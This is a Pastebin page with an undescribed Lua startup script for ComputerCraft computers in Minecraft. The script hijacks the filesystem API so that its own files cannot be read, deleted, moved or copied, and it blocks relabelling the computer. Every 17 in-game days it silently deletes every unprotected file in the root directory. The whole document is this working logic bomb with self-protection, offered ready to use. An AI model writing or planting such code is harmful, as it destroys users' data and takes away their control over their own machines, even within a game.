Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local locked = {
- "startup";
- ".last";
- }
- local oFs = {}
- local lastD = os.day()
- if fs.exists(".last") then
- local file = fs.open(".last", "r")
- lastD = tonumber(file.readAll())
- file.close()
- end
- local function checkT()
- while true do
- sleep(60)
- if os.day()-lastD >= 17 then
- lastD = os.day()
- local file = oFs.open(".last", "w")
- file.write(tostring(lastD))
- file.close()
- for i,v in pairs(oFs.list("/")) do
- local isL = false
- for m,s in pairs(locked) do
- if v == s then
- isL = true
- end
- end
- if isL == false then
- pcall(function() oFs.delete(v) end)
- end
- end
- end
- end
- end
- -- local oFs = {}
- for i,v in pairs(fs) do
- oFs[i] = v
- end
- os.setComputerLabel = function() error("Cannot set label") end
- local nFs = {}
- local function isLocked(path)
- path = fs.combine(path, "")
- for i,v in pairs(locked) do
- if path == v then
- return true
- end
- end
- return false
- end
- function nFs.delete(path)
- if isLocked(path) then
- printError("That file is locked")
- return
- end
- return oFs.delete(path)
- end
- function nFs.open(path, mode)
- if isLocked(path) then
- printError("That file is locked")
- return
- end
- return oFs.open(path, mode)
- end
- function nFs.move(path1, path2)
- if isLocked(path1) then
- printError("That file is locked")
- return
- end
- return oFs.move(path1, path2)
- end
- function nFs.copy(path1, path2)
- if isLocked(path1) then
- printError("That file is locked")
- return
- end
- return oFs.copy(path1, path2)
- end
- for i,v in pairs(nFs) do
- fs[i] = v
- end
- term.clear()
- term.setCursorPos(1, 1)
- parallel.waitForAny(function() shell.run("/rom/programs/shell") end, checkT)
- os.shutdown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement